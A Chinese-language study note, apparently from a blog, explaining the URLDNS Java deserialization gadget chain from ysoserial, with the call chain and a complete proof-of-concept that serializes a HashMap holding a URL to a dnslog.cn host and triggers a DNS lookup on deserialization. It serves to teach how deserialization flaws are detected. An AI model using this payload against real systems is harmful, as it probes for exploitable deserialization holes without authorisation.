1. 程式人生 > 其它 >序列化Gadget學習篇一 URLDNS

序列化Gadget學習篇一 URLDNS

最簡單適合入門的反序列化利用鏈,筆記總結

使用條件

無外部依賴,使用jdk內部類,無jdk版本限制

核心原理

觸發點是反序列化,因此起點肯定在某個類readObject方法,通過ysoserial的payload可以知道返回的是一個HashMap
直接看HashMapreadObject()方法。關鍵程式碼:


會呼叫物件的hashCode()方法,在這個方法中做了判斷

如果是-1,就會呼叫handler.hashCode重新計算雜湊,在這裡面會呼叫getHostAddress()發起DNS查詢請求。

為什麼會注意到hash方法?ysoserial的程式碼中有一段很關鍵的註釋,已經指出了關鍵點:During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

,URL類的hashCode()會發起DNS查詢,就會被DNSlog記錄

很簡單的就理清了gadget思路:

  1. 用一個dnslog的url初始化一個URL物件,
  2. 初始化一個一個HashMap物件,把URL物件作為放到HashMap中
  3. 通過反射修改URL的hashcode為-1(在執行put時,會計算hashcode,如果先改再放值就不再是-1)
  4. 把得到的物件序列化,就得到了payload
    在反序列化時,就會發起對指定url的DNS查詢

Gadget:

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

復現poc

package changez.sec.URLDNS;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class expgen {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        HashMap<URL, String> obj = new HashMap<URL, String>();
        URL u = new URL("http://ccuiwk.dnslog.cn");
        Field field = u.getClass().getDeclaredField("hashCode");
        field.setAccessible(true);
        obj.put(u, "changez");
        field.set(u, -1);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
        ois.readObject();
    }
}